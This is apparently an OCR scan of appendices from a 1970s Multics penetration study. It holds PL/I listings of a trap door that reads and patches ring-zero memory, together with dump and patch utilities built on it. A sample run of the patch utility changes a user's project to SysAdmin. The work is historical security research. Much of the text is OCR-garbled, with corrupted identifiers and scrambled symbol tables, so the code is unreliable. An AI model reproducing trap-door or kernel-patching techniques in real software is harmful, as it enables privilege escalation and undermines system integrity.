    /* by the "devx" presented in the SIOK call */
    /* segment number of the CCY for this user */
    /* - only accessed by one process */

```

```

57 3 dev_sel_add bit (18),
58
59 3 dev_list_len bit (12),
60
61 3 stat_x bit (10),
62
63 3 end_x bit (10),
64
65 3 pad bit (1),
66
67 3 status_lost bit (1),
68
69 3 dir_chan bit (1),
70
71 3 pad1 bit (1) unaligned,
72
73 2 free_x fixed bin (10),
74
75 2 overflow fixed bin (18),
76
77 2 stat_e (312) fixed bin (71)
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

```

```

/* effect of dev list within dev segment. */
/* here is interpreted as dev-list not */
/* yet allocated */
/* size of dev list in dev's */
/*
/* index pointing to oldest item in status queue */
/*
/* index pointing to end of status queue */
/*
/*
/* OK if status lost */
/*
/* on if direct channel */
/*
/* queue again */
/*
/* index pointing to head of free status queue */
/*
/* status queue overflow count */
/*
/* status queue */
/* remember to change cur_list of cat_pos in */
/* hardware header if you change this */
/*
/* pointer to devtab entry */
/*
/* "devtab" entry declaration */

```

```

del 49 p12)
del 1 dev_entry based (49) aligned,
(2) cat_pos bit (18),
2 dev_sel_add bit (18),
2 dev_list_len bit (12),
2 stat_x bit (10),
2 end_x bit (10),
2 pad bit (1),
2 status_lost bit (1),
2 dir_chan bit (1) unaligned)
/* END INCLUDE ..... cat ..... */
/*

```

```

101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140

rcode = 0;
dp = addr(cat_sesg,devtab (devx));
call ioam_check(devx.code); /* see if device assigned to this process */
if rcode = 1 then do; /* it is not, so report error */
    rcode = error_table_sdev_nt_sesnd;
    cctp = null;
    return;
end;
ecno = dp -> dev_entry.ctno;
if ecno = 0 then do;
    rcode = error_table_sglm_no_cct;
    cctp = null;
    return;
end;
cctp = baseptr (ecno);
return;

device_name! entry (devnam, dctr, rcode);
do1 devnam char (*)%
    dctr lined bin (17);
/* setup and search the DCT for match */
rcode = 0;
do dctr = 1 to dctr_sesg.ndev;
    if dctr_sesg.ndev (dctr).dev_nam = devnam then return;
end;
/* no matches, set complaint */
rcode = error_table_sglm_badarg;
return;

end;

```

```

/* device name */
/* device index from DCT */

```

VARIABLES DECLARED IN THIS COMPILE.

IDENTIFIER	LOC	STORAGE CLASS	DATA TYPE	ATTRIBUTES AND REFERENCES
VARIABLES DECLARED BY DECLARE STATEMENT.				
abn_base		external static	fixed bin(20,0)	level 2 aligned dcl 78
cat_sens	00000	external static	structure	level 4 aligned dcl 78
cc180	00010	automatic	fixed bin(10,0)	dcl 8 ref 11 12 17
cc180		external static	bit(18)	array level 3 unaligned dcl 78
cc180		external static	bit(18)	level 2 unaligned dcl 93 ref 11
cc180		parameter	pointer	dcl 8 ref 108 118 117
code	000103	automatic	fixed bin(17,0)	dcl 10 ref 105 106
dcl_sens	000036	external static	structure	level 4 aligned dcl 31
act1		parameter	fixed bin(17,0)	dcl 125 ref 130 131 132
dcl_list_len		external static	bit(12)	array level 3 unaligned dcl 78
dcl_list_len		based	bit(12)	level 2 unaligned dcl 93
dcl_ref_add		based	bit(18)	level 2 unaligned dcl 93
dcl_ref_add		external static	bit(18)	array level 3 unaligned dcl 78
dcl_ref_add		external static	structure	array level 2 aligned dcl 31
dcl_ref_add		based	structure	level 4 aligned dcl 93
dev_entry		external static	char(32)	array level 3 aligned dcl 31 ref 131
dev_name	000036	external static	char	unaligned dcl 125 ref 131
dev_name		parameter	structure	array level 2 aligned dcl 78 ref 108
dev_name	000000	external static	fixed bin(12,0)	dcl 8 ref 108 109
dev_name		external static	bit(1)	array level 3 unaligned dcl 78
dev_name		external static	bit(1)	level 2 unaligned dcl 93
dev_name		external static	bit(1)	array level 3 aligned dcl 31
dev_name		external static	pointer	dcl 83 ref 104 111
dev_name		based	bit(10)	level 2 unaligned dcl 93
dev_name		external static	bit(10)	array level 3 unaligned dcl 78
error_table_dev_at_end		external static	fixed bin(17,0)	dcl 16 ref 107
error_table_dev_at_end	000033	external static	fixed bin(17,0)	dcl 16 ref 136
error_table_dev_at_end	000034	external static	fixed bin(17,0)	dcl 16 ref 113
error_table_dev_at_end	000030	external static	fixed bin(17,0)	level 2 aligned dcl 78
error_table_dev_at_end		external static	fixed bin(17,0)	level 2 aligned dcl 78
error_table_dev_at_end		external static	fixed bin(17,0)	array level 3 aligned dcl 31
error_table_dev_at_end		external static	fixed bin(17,0)	external irreducible ref 108
error_table_dev_at_end	000028	link reference	fixed bin(17,0)	level 2 aligned dcl 31 ref 130
error_table_dev_at_end	000036	external static	fixed bin(17,0)	level 2 aligned dcl 78
error_table_dev_at_end		external static	bit(1)	array level 3 unaligned dcl 78
error_table_dev_at_end		based	bit(1)	level 2 unaligned dcl 93
error_table_dev_at_end		external static	bit(1)	array level 3 unaligned dcl 78
error_table_dev_at_end		external static	fixed bin(12,0)	array level 3 aligned dcl 31
error_table_dev_at_end		external static	char(32)	array level 3 aligned dcl 31
error_table_dev_at_end		parameter	fixed bin(17,0)	dcl 8 ref 103 107 113 129 136
error_table_dev_at_end		external static	pointer	level 2 aligned dcl 78
error_table_dev_at_end		external static	bit(2)	level 2 aligned dcl 78
error_table_dev_at_end		external static	bit(10)	array level 2 aligned dcl 78
error_table_dev_at_end		external static	bit(10)	array level 2 unaligned dcl 78
error_table_dev_at_end		based	bit(1)	level 2 unaligned dcl 93
error_table_dev_at_end		external static	bit(1)	array level 3 unaligned dcl 78
error_table_dev_at_end		based	bit(1)	level 2 unaligned dcl 93
VARIABLES DECLARED BY EXPLICIT CONTEXT.				
error_table_dev_at_end	000022	link reference	entry	external irreducible ref 2
error_table_dev_at_end	000016	link reference	entry	external irreducible ref 122

VARIABLES DECLARED BY CONTEXT OR IMPLICATION.

addr
baseptr
null

built-in function
built-in function
built-in function

internal ref 104
internal ref 117
internal ref 108 114

CALL EXT	STATEMENT	ON LINE	108
19122,*			
009041			
001802			
009070			
STATEMENT	ON LINE	107	
009070			
STATEMENT	ON LINE	108	
009010	777777000003		
STATEMENT	ON LINE	109	
009010			
STATEMENT	ON LINE	110	
009010			
STATEMENT	ON LINE	111	
009010			
STATEMENT	ON LINE	112	
009010			
STATEMENT	ON LINE	113	
009010			
STATEMENT	ON LINE	114	
009010			
STATEMENT	ON LINE	115	
009010			
STATEMENT	ON LINE	116	
009010			
STATEMENT	ON LINE	117	
009010			
STATEMENT	ON LINE	118	
009010			
STATEMENT	ON LINE	119	
009010			
STATEMENT	ON LINE	120	
009010			
STATEMENT	ON LINE	121	
009010			
STATEMENT	ON LINE	122	
009010			
STATEMENT	ON LINE	123	
009010			
STATEMENT	ON LINE	124	
009010			
STATEMENT	ON LINE	125	
009010			
STATEMENT	ON LINE	126	
009010			
STATEMENT	ON LINE	127	
009010			
STATEMENT	ON LINE	128	
009010			
STATEMENT	ON LINE	129	
009010			
STATEMENT	ON LINE	130	
009010			
STATEMENT	ON LINE	131	
009010			
STATEMENT	ON LINE	132	
009010			
STATEMENT	ON LINE	133	
009010			
STATEMENT	ON LINE	134	
009010			
STATEMENT	ON LINE	135	
009010			
STATEMENT	ON LINE	136	
009010			
STATEMENT	ON LINE	137	
009010			
STATEMENT	ON LINE	138	
009010			
STATEMENT	ON LINE	139	
009010			
STATEMENT	ON LINE	140	
009010			
STATEMENT	ON LINE	141	
009010			
STATEMENT	ON LINE	142	
009010			
STATEMENT	ON LINE	143	
009010			
STATEMENT	ON LINE	144	
009010			
STATEMENT	ON LINE	145	
009010			
STATEMENT	ON LINE	146	
009010			
STATEMENT	ON LINE	147	
009010			
STATEMENT	ON LINE	148	
009010			
STATEMENT	ON LINE	149	
009010			
STATEMENT	ON LINE	150	
009010			
STATEMENT	ON LINE	151	
009010			
STATEMENT	ON LINE	152	
009010			
STATEMENT	ON LINE	153	
009010			
STATEMENT	ON LINE	154	
009010			
STATEMENT	ON LINE	155	
009010			
STATEMENT	ON LINE	156	
009010			
STATEMENT	ON LINE	157	
009010			
STATEMENT	ON LINE	158	
009010			
STATEMENT	ON LINE	159	
009010			
STATEMENT	ON LINE	160	
009010			
STATEMENT	ON LINE	161	
009010			

000133	aa	6	00146	7561	00	sta	sp1100	STATEMENT 1 ON LINE 129
000134	aa	6	00146	8501	20	sta	sp1102,0	STATEMENT 1 ON LINE 130
000135	aa	6	00044	3701	20	cap1p	sp136,0	
000136	aa	6	00036	2361	20	ldg	sp130,0	
000137	aa	5	00152	7561	00	sta	sp1106	
000140	aa	0	000001	3380	07	ldg	1,41	
000141	aa	6	00116	7561	20	sta	sp178,0	
000142	aa	6	00116	2361	20	ldg	sp178,0	
000143	aa	6	00152	1181	00	cap1p	sp1106	
000144	aa	0	000002	6000	04	sta	2,1c	
000145	aa	0	000024	6030	04	sta	20,1c	
000146	aa	6	00112	2371	00	ldg	sp176	
000147	aa	0	00011	3320	00	sta	9	
000150	aa	0	00077	3760	07	sta	511,41	
000151	aa	0	00000	3270	06	sta	0,41	
000152	aa	6	00116	2361	20	ldg	sp178,0	
000153	aa	0	00023	6030	07	sta	19,41	
000154	aa	0	00000	6220	06	sta	0,41	
000155	aa	0	00080	3260	07	ldg	32,41	
000156	aa	6	00044	3701	20	cap1p	sp136,0	
000157	aa	6	00036	3521	72	cap1p	sp130,0	
000160	aa	2	77756	3521	00	cap1p	sp110	
000161	aa	0	00643	6701	00	cap1p	sp119	
000162	aa	6	00116	3261	00	ldg	sp1100	
000163	aa	6	00116	3521	20	cap1p	sp176,0	
000164	aa	0	00610	6701	00	cap1p	sp1392	
000165	aa	0	000002	6010	04	sta	2,1c	
000166	aa	0	00631	7101	00	sta	sp1409	
000167	aa	6	00116	8541	20	sta	sp178,0	
000170	aa	7	77752	7100	06	sta	-22,1c	
000171	aa	6	00044	3701	20	cap1p	sp136,0	
000172	aa	6	00036	2361	20	ldg	sp128,0	
000173	aa	6	00146	7561	20	sta	sp1102,0	
000174	aa	0	00631	7101	00	sta	sp1409	
000175	aa	0	00631	7101	00	sta	sp1409	

250 PROCEDURE CHECKED INDEX

COMPIATION LISTING OF SEGMENT 29
 Compiled 'y: Multics PL/I Compiler, Version 11 of 30 August 1973.
 Compiled on: 04/10/74 1043.4 edf Med
 Options: map

```

1 zgl proc (dp, word);
2 dcl 1 xdatacode ext static aligned,
3     2 code fixed bin aligned,
4     2 key bit (72) aligned,
5     2 inst (2) bit (36) aligned,
6     2 (ptr1, ptr2) ptr aligned;
7
8 dcl dp ptr, word bit (36) aligned;
9 dcl hcs_scheck_device entry (char (*), fixed bin (17), fixed bin),
10    dctx fixed bin (17) init (0);
11
12    ptr1 = dp;
13    ptr2 = addr (word);
14 comment call hcs_scheck_device ("", dctx, code);
15    return;
16
17 zfi entry (dp, word);
18    ptr1 = addr (word);
19    ptr2 = dp;
20    go to common;
21 end;
  
```

/* Entry to read out 36 bits */
 /* structure passed to ring 0 */
 /* standard system error code */
 /* 72 bit key to prevent accidental use */
 /* 2 instructions to be XED'ed by ring 0 */
 /* ptr to read 36 bits; ptr to store 36 bits */
 /* call ring 0 */
 /* Entry to patch 36 bits */

NAMES DECLARED IN THIS COMPILATION.

IDENTIFIER	OFFSET	LOC	STORAGE CLASS	DATA TYPE	ATTRIBUTES AND REFERENCES
NAMES DECLARED BY DECLARE STATEMENT.					
code		00012	external static	fixed bin(17,8)	level 2 dcl 2 set ref 14
dcix		00018	automatic	fixed bin(17,8)	initial dcl 9 set ref 9 14 9
dp			parameter	pointer	dcl 8 ref 1 12 17 19
hcs_scheck_device		00014	constant	entry	external dcl 9 ref 14
inst	3	00012	external static	bit(36)	array level 2 dcl 2
key	1	00012	external static	bit(72)	level 2 dcl 2
ptr1	6	00012	external static	pointer	level 2 dcl 2 set ref 12 18
ptr2	10	00012	external static	pointer	level 2 dcl 2 set ref 13 19
word			parameter	bit(36)	dcl 8 set ref 1 13 17 18
zdatacode		00012	external static structure		level 1 dcl 2
NAMES DECLARED BY EXPLICIT CONTEXT.					
common		00038	constant	label	dcl 14 ref 14 28
zf		00052	constant	entry	external dcl 17 ref 17
zg		00011	constant	entry	external dcl 1 ref 1
NAME DECLARED BY CONTEXT OR IMPLICATION.					
addr				builtin function	internal ref 13 18

STORAGE REQUIREMENTS FOR THIS PROGRAM.

Start	Object	Text	Link	Symbol	Data	Static
Length	322	72	144	162	72	154
			16	126	52	6

External procedure zg uses 82 words of automatic storage

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

call_ext_out_desc return ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

hcs_scheck_device

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

zdatacode

LINE	LJC	LINE	LOC	LINE	LOC	LINE	LOC
9	00005	1	00018	13	00025	15	00050
10	00005	19	00065	20	00071	17	00051

NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

000000 30	000004 000000	
000001 20	000011 000001	
000002 50	004 143 157 144	code
000003 00	145 000 000 000	
000004 30	000012 000000	
000005 60	000000 000002	
000006 00	014 163 171 155	symbol_table
000007 00	142 157 154 137	
000010 00	164 141 142 154	
000011 00	145 000 000 000	
000012 50	000017 000000	
000013 60	000037 000002	
000014 00	010 162 145 154	
000015 00	137 164 145 170	rel_text
000016 00	164 000 000 000	
000017 50	000024 000000	
000021 00	010 162 145 154	rel_link
000022 00	137 154 151 156	
000023 00	153 000 000 000	
000024 50	000031 000000	
000026 00	012 162 145 154	
000027 00	137 163 171 155	rel_symbol
000030 00	142 157 154 000	
000031 00	000000 000000	

NO EXTERNAL NAMES

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

000032 00	000001 000000
000033 00	000000 000000

INTERNAL EXPRESSION WORDS

LINKAGE INFORMATION

000000	10	000000	000000
000001	00	000000	000000
000002	10	000000	000000
000003	10	000000	000000
000004	10	000000	000000
000005	10	000000	000000
000006	22	000022	000022
000007	12	000000	000022

SYMBOL INFORMATION

SYMBOL TABLE HEADER

000000	00	000000	001001
000001	00	240000	000033
000002	00	000000	001045
000003	00	240000	000427
000004	00	000000	101452
000005	00	141711	067671
000006	00	000000	101561
000007	00	720102	715324
000010	00	000000	000000
000011	00	000000	000002
000012	00	000000	000000
000013	00	000034	000022
000014	00	000000	001474
000015	00	240000	000440
000016	00	003141	154155
000017	00	037101	114115
000020	00	040126	145162
000021	00	163151	157156
000022	00	040064	056064
000023	00	054040	123149
000024	00	160164	145155
000025	00	142145	162040
000026	00	061071	067063
000027	00	172144	141164
000030	00	141040	040040
000031	00	040040	040040
000032	00	040040	040040
000033	00	040040	040040
000034	00	040040	040040
000035	00	040040	040040
000036	00	040040	040040

MULTICS ASSEMBLY CROSS REFERENCE LISTING

Value	Symbol	Source file	Line number
11	ceda	zdata1	2;
10	leapure	zdata1	3;
12	key	zdata1	11.
			7.

NO FATAL ERRORS

APPENDIX D

Dump Utility Listing

This appendix is a listing of a dump utility program designed to use the trap door shown in Section 3.4.5 and Appendix C. The program, `zd`, is a modified version of the installed Multics command, `ring_zero_dump`, documented in the MPM Systems Programmers' Supplement (SPS73). `Zd` will dump any segment whose SDW in ring zero is not equal to zero. In addition, `zd` will not dump the ring zero descriptor segment, because the algorithm used would result in the ring 4 descriptor segment being completely replaced by the ring 0 descriptor segment which could potentially crash the system. `Zd` will also not dump master procedures, since modifying their SDW's could also crash the system.


```

56 end;
57 go to get_name;
58 end;
59
60 next_arg = 2;
61 i = cv_obj_check (targ, code);
62 if code = 0 then do;
63   segptr = null ();
64   call ring_get_segptr ("" , targ, segptr, code);
65   if segptr = null () then do;
66     call expand_path_ (tp, tc, add_ (dirname), add_ (ename), code); /* error in path name */
67     if code = 0 then go to missing;
68     call hcs_initialize (dirname, ename, "" , 0, segptr, code); /* get pointer to segment */
69     if code = 0 then if code = error_table_segknown then go to missing;
70     /* must terminate the segment later */
71   end;
72 end;
73 else segptr = baseptr ();
74
75 if baseptr(segptr) = "a"b
76   then do;
77     call co_err_ (0, "zd", "It is a no-no to dump dseg.");
78     return;
79   end;
80
81 call cu_sarg_ptr (next_arg, tp, tc, code);
82 if code = error_table_segarg | tc = 0 then do;
83   first = 0;
84   count = 100000;
85   go to get_bound;
86 end;
87 first = cv_obj_check_ (targ, code);
88 if code = 0 then do;
89   call loc_ ("RBad first word "a-g", targ);
90   return;
91 end;
92
93 call cu_sarg_ptr (next_arg, tp, tc, code);
94 if code = error_table_segarg | tc = 0 then count = 1; else do;
95   count = cv_obj_check_ (targ, code);
96   if code = 0 then do;
97     call loc_ ("RBad count value "a-g", targ);
98     return;
99   end;
100 end;
101
102 get_bound:
103 call ring_get_segptr ("" , "dseg", wdssegptr, code);
104 call zg (ptr (baseptr (0), baseptr (segptr)), dseg_word); /* get size of segment from bound in SDW */
105 if dseg_word = "a"b then do;
106   call loc_ ("SDW = 0");
107   return;
108 end;
109
110 if substr (dseg_acc, 4, 3) = "100"b then do;
111   call loc_ ("ds Master procedure. SDW = "a", dseg_word);
112   return;
113 end;
114 dseg_acc = "110010"b;

```

```

115 call z9iptr(wdsegptr, baseno(segptr), save_acc); /* set wired ring access and save in save_acc */
116 call z9szf(ptr(wdsegptr, baseno(segptr)), dseg_word); /* change wired ring access to ring 0 access */
117 if dseg_size then pg_size = 64; else pg_size = 1024; /* get page size */
118 bound = (fixed (dseg.bnd, 8) ÷ 1)*pg_size; /* get words of segment */
119
120 if count > bound - first then count = bound - first; else if count < 1 then go to bad_count;
121
122 offset = 8;
123 out1 = 1;
124 loop;
125 if count >= 1024 then left = 1024; else left = count; /* get number of words to print in this loop */
126 addr (bdate) -> overlay = ptr (segptr, first+offset) -> overlay;
127 i = 1;
128 the_same = 8;
129 if left <= 3 then go to rem;
130 do while (left > 3);
131   if the_same = 0 then
132     call loc_ ("60" "w" "w", first+out1-1, data (1), data (1+1), data (1+2), data (1+3));
133   else if the_same = 1 then call loc_ ("=====");
134   do tc = 0 to 3;
135     if data (1+tc) = data (1+tc+4) then go to different;
136   end;
137   the_same = the_same + 1;
138   go to skip;
139 different;
140 the_same = 8;
141 skip;
142 i = 1 ÷ 4;
143 out1 = out1 ÷ 4;
144 left = left - 4;
145 end;
146 offset = offset ÷ 1024;
147 count = count - 1024;
148 if count > 0 then go to loop;
149
150 if left > 0 then do;
151   do tc = 0 to left-1;
152     if data (1+tc) = data (1+tc-4) then go to rem;
153   end;
154   if the_same < 2 then call loc_ ("=====");
155   go to check_init;
156 rem;
157   call loc_ (if (left), first+out1-1, data (1), data (1+1), data (1+2));
158 end;
159 check_init;
160 call z9szf(ptr(wdsegptr, baseno(segptr)), save_acc); /* replace old wired ring access */
161 if initsw = 0 then call hcs_terminate_joname (segptr, code);
162 return;
163
164 end;

```

NAMES DECLARED IN THIS COMPILATION.

IDENTIFIER	OFFSET	LOC	STORAGE	CLASS	DATA TYPE	ATTRIBUTES AND REFERENCES
NAMES DECLARED BY DECLARE STATEMENT.						
acc	0(30)	002206	automatic		bit(6)	level 2 packed unaligned dcl 38 set ref 118 114
base			based		bit(36)	array dcl 7 set ref 126
brd	0(19)	002206	automatic		bit(8)	level 2 packed unaligned dcl 38 set ref 118
bound		000113	automatic		fixed bin(17,0)	dcl 7 set ref 118 128 128
code		000100	automatic		fixed bin(17,0)	dcl 7 set ref 43 44 52 53 54 61 62 64 66 67 68 69
com_err		000034	constant		entry	69 81 82 87 88 93 94 95 96 102 101
count		000114	automatic		fixed bin(135,0)	external dcl 7 ref 54 78
cu_sers_ptr					entry	dcl 7 set ref 84 94 95 128 128 128 128 124 125 147 147
cv_sct_check		000052	constant		entry	148
data		000032	constant		entry	external dcl 7 ref 43 52 81 93
data		000115	automatic		entry	array dcl 7 set ref 41 126 131 131 131 131 131 131 135 135
data		002120	automatic		pointer	152 152 156 156 156
data		002124	automatic		char(168)	dcl 7 set ref 41
data		002206	automatic		structure	unaligned dcl 7 set ref 86 86 88
data			based		bit(30)	level 1 packed dcl 38 set ref 104 105 111 116
data		002176	automatic		char(132)	dcl 7 set ref 184 185 111 116
data		000026	external static		fixed bin(17,0)	unaligned dcl 7 set ref 66 66 68
data					fixed bin(17,0)	dcl 7 ref 44 82 94
data		000038	external static		fixed bin(17,0)	dcl 7 ref 69
data		000054	constant		entry	external dcl 7 ref 66
data		000010	internal static		char(16)	initial array dcl 7 set ref 156
data		000104	automatic		fixed bin(17,0)	dcl 7 set ref 83 87 128 128 126 131 156
data		000044	constant		entry	external dcl 7 ref 68
data		000042	constant		entry	external dcl 7 ref 161
data		000102	automatic		fixed bin(17,0)	dcl 7 set ref 61 73 127 131 131 131 131 135 135
data		000105	automatic		fixed bin(17,0)	146 148 152 152 156 156 156
data		000036	constant		entry	dcl 7 set ref 48 78 161
data		000111	automatic		fixed bin(17,0)	external dcl 7 ref 45 89 97 106 111 131 133 154
data		000107	automatic		fixed bin(17,0)	156
data		000110	automatic		fixed bin(17,0)	dcl 7 set ref 124 125 126 126 126 126 126 126 143 150
data		000101	automatic		fixed bin(17,0)	151 156
data			based		bit(36)	dcl 7 set ref 51 52 68 81 93
data		002206	automatic		bit(19)	dcl 7 set ref 122 126 146 146
data		000112	automatic		fixed bin(17,0)	dcl 7 set ref 123 131 142 142 156
data		000048	constant		entry	array dcl 7 set ref 126 126
data		002207	automatic		fixed bin(17,0)	level 2 packed unaligned dcl 38
data		002122	automatic		bit(36)	level 2 packed unaligned dcl 38
data					pointer	dcl 7 set ref 117 117 118
data		0(27)	automatic		bit(1)	external dcl 7 ref 64 102
data			based		char	dcl 37 set ref 115 159
data		000103	automatic		fixed bin(17,0)	dcl 7 set ref 63 64 65 68 73 76 104 104 115 115
data		000106	automatic		fixed bin(17,0)	116 116 126 159 159 161
data		002116	automatic		pointer	level 2 packed unaligned dcl 38 set ref 117
data					pointer	unaligned dcl 7 set ref 58 58 61 64 67 67 95 97
data		002210	automatic		pointer	dcl 7 set ref 43 44 50 50 52 61 61 64 64 68 81 82
data		000050	constant		entry	87 87 89 89 93 94 95 95 97 97 134 135 135 161 162
data					entry	152
data					entry	dcl 7 set ref 120 131 133 137 137 139 154
data					entry	dcl 7 set ref 43 50 58 52 61 64 66 81 87 89 93 95
data					entry	97
data					entry	dcl 37 set ref 102 115 115 116 116 116 159 159
data					entry	external dcl 7 ref 104 115

107 001055	110 001056	111 001062	112 001103	114 001104	115 001106	116 001124
117 001142	117 001150	118 001152	120 001160	120 001167	122 001172	123 001173
124 001175	125 001203	126 001204	127 001220	128 001222	129 001223	130 001226
131 001231	133 001303	134 001320	135 001324	136 001335	137 001337	138 001340
139 001341	140 001342	142 001344	143 001345	144 001347	146 001350	147 001352
148 001360	150 001362	151 001364	152 001372	153 001403	154 001405	155 001423
156 001424	159 001463	161 001501	162 001514			

APPENDIX E

Patch Utility Listing

This appendix is a listing of a patch utility corresponding to the dump utility in Appendix D. The utility, zp, is based on the installed Multics command, patch_ring_zero, documented in the MPM System Programmers' Supplement (SPS73). Zp uses the same algorithm as zd in Appendix D and operates under the same restrictions. A sample of its use is shown below. Lines typed by the user are underlined.

```
zp pds 660 123171163101 144155151156  
660 104162165151 to 123171163101  
661 144040040040 to 144155151156  
Type "yes" if patches are correct: yes
```

As seen above, the command requests the user to confirm the patch before actually performing the patch. The patch shown above changes the user's project identification from Druid to SysAdmin.

COMPIATION LISTING OF SEGMENT 20
 Compiled by: Multics PL/I Compiler, Version II of 30 August 1973.
 Compiled on: 04/10/74 1843.6 edf Mod
 Options: map

```

1 201 proc;
2
3 /* This procedure allows privileged users to patch locations in ring 0.
4  If necessary the descriptor segment is patched to give access to patch a non-write
5  permit segment */
6
7 dcl targ char (1c) based (tp),
8      (error_table_snoerg, error_table_ssegment) fixed bin ext,
9      (code, i, tc, first, sm) fixed bin,
10     (sdwp, segptr) ptr static,
11     wdssegptr ptr,
12     get_process_id_ext entry returns (bit (36) aligned),
13     process_id bit (36) aligned,
14     data1 (8: 99) fixed bin static,
15     data (8: 99) fixed bin (35),
16     overlay (8count-1) bit (36) aligned based,
17     count fixed bin static,
18     (tp, data1p, data1p) ptr,
19     dirname char (168),
20     name char (32),
21     cv_ext_entry (char (*) returns (fixed bin (35)),
22     cv_ext_check entry (char (*), fixed bin) returns (fixed bin (35)),
23     rings_get_segptr entry (char (*), char (*), ptr, fixed bin),
24     (lea, lea_end) entry options (variable),
25     lea_green_ptr entry (ptr, fixed bin, fixed bin),
26     (29: 29821) entry (ptr, fixed bin (35)),
27     buffer char (16) aligned,
28     cv_sera_ptr_ext entry (fixed bin, ptr, fixed bin, fixed bin),
29     expand_path_ext entry (ptr, fixed bin, ptr, ptr, fixed bin);
30
31 dcl 1 sdw based aligned,
32     2 pad bit (38) unal,
33     2 acc bit (6) unal;
34
35 dcl save_acc fixed bin (35);
36
37     datap = adder (data1);
38     count = 8;
39
40     call cv_sera_ptr (1, tp, tc, code);
41     if code = error_table_snoerg i tc = 0 then do;
42         call lea ("prz name/segno offset value1 ... value2");
43         return;
44     end;
45     i = cv_ext_check (targ, code);
46     if code = 0 then do;
47         segptr = null ();
48         call rings_get_segptr ("", targ, segptr, code); /* so assume ring 0 name */
49         if segptr = null () then do;
50             call lea ("not found.", targ);
51             return;
52         end;
53     else segptr = baseptr (1);
54
55

```

```

56 call cu_sarg_ptr (2, tp, tc, code);
57 if code = error_table_snoarg i tc = 0 then go to mess; /* pick up second arg (first word to mess) */
58 first = cv_oct_ (farg);
59 segptr = ptr (segptr, first);
60 sdep = ptr (sdep, baseno (segptr));
61 call ring0_get_segptr ("", "wseg", wsegptr, code);
62
63
64 /* Now check the access on the segment about to be patched */
65
66 datap = addr (data);
67 datap = addr (datap);
68 call zg (sdep, datap (0));
69 if data (0) = 0 then do;
70     call loc_ ("pi SDW = 0");
71     return;
72 end;
73
74
75 if substr (datap -> sdw_acc, 4, 3) = "100"b then do;
76     call loc_ ("pi Master procedure. SDW = 'u'", data (0));
77     return;
78 end;
79
80 datap -> sdw_acc = "10010"b;
81 call zg(ptr(wdsegptr, baseno(segptr)), save_acc);
82 call zg(ptr(wdsegptr, baseno(segptr)), data(0));
83
84 /* Now pick off the arguments */
85
86 i = 2;
87 i = i + 1;
88 call cu_sarg_ptr (1, tp, tc, code); /* get next argument */
89 if code = error_table_snoarg i tc = 0 then go to endarg;
90 datap (1-3) = cv_oct_ (farg); /* convert 1st arg */
91 go to loop;
92
93 count = 1 - 3;
94 if count = 0 then go to mess;
95 datap -> overlay = segptr -> overlay;
96 do i = 0 to count-1;
97     call loc_ ("60 "u to "u", first, data (1));
98 end;
99
100 call loc_endn ("Type "yes" if patches are correct: ");
101 call loc_read_ptr (addr (buffer), 16, 1); /* read in the answer */
102 if i = 4 then go to reset;
103 if substr (buffer, 1, 3) = "yes" then go to reset;
104
105
106 /* Now do the patches */
107
108 segptr -> overlay = datap -> overlay;
109
110 /* Now reset access (in dseg) if necessary */
111
112 reset: call zg(ptr(wdsegptr, baseno(segptr)), save_acc);
113
114

```

115
116
117
118
return
end

NAMES DECLARED IN THIS COMPILATION.

IDENTIFIER	OFFSET	LOC STORAGE CLASS	DATA TYPE	ATTRIBUTES AND REFERENCES
NAMES DECLARED BY DECLARE STATEMENT.				
acc	0(30)	based	bit(6)	level 2 packed unaligned dcl 31 set ref 76 78
buffer	000260	automatic	char(16)	dcl 7 set ref 99 99 181
code	000100	automatic	fixed bin(17,0)	dcl 7 set ref 40 41 45 46 48 56 57 61 86 87
count	000160	internal static	fixed bin(17,0)	dcl 7 set ref 38 98 92 93 93 94
cu_serg_ptr	000204	constant	entry	external dcl 7 ref 48 56 86
cu_sct_check	000164	constant	entry	external dcl 7 ref 58 88
data	000166	constant	entry	external dcl 7 ref 45
data1	000106	automatic	fixed bin(35,0)	a-ray dcl 7 set ref 37 66 68 69 75 88 95
data1p	000114	internal static	fixed bin(17,0)	array dcl 7 set ref 67 88 95
data2	000256	automatic	pointer	dcl 7 set ref 67 109
data3	000254	automatic	pointer	dcl 7 set ref 37 66 74 78 93
error_table_snorm	000162	external static	fixed bin(17,0)	dcl 7 ref 41 57 87
first	000103	automatic	fixed bin(17,0)	dcl 7 set ref 58 59 95
i	000101	automatic	fixed bin(17,0)	dcl 7 set ref 45 54 84 85 85 86 88 98 94 95 95 96 99 180
loc_snnl	000172	constant	entry	external dcl 7 ref 42 58 78 75 95
loc_sread_ptr	000174	constant	entry	external dcl 7 ref 98
overlay	000176	based	entry	external dcl 7 ref 99
ring0_get_ssegptr	000178	constant	bit(36)	array dcl 7 set ref 93 93 109 109
save_acc	000254	automatic	entry	external dcl 7 ref 48 61
sdmp	000010	internal static	fixed bin(35,0)	dcl 35 set ref 79 113
segptr	000012	internal static	pointer	dcl 7 set ref 68 68
terg	000182	based	char	dcl 7 set ref 47 47 49 54 59 59 68 73 79 88 88 88 189 113 113
tc	000182	automatic	fixed bin(17,0)	unaligned dcl 7 set ref 45 48 98 98 88
tp	000252	automatic	pointer	dcl 7 set ref 48 41 45 45 48 48 58 58 58 58 88 88 87 88 88
wdsegptr	000184	automatic	pointer	dcl 7 set ref 48 45 48 50 56 58 86 88
zg	000288	constant	entry	dcl 7 set ref 61 79 79 88 88 113 113
zg2z1	000282	constant	entry	external dcl 7 ref 68 79
NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED.				
dirname		automatic	char(168)	external dcl 7
ename		automatic	char(32)	unaligned dcl 7
error_table_ssegknown		external static	fixed bin(17,0)	dcl 7
expand_path	000000	constant	entry	external dcl 7
get_process_id	000008	constant	entry	external dcl 7
pzd		based	bit(30)	level 2 packed unaligned dcl 31
processid		automatic	bit(36)	dcl 7
sdw		based	structure	level 1 packed dcl 31
sw		automatic	fixed bin(17,0)	dcl 7
NAMES DECLARED BY EXPLICIT CONTEXT.				
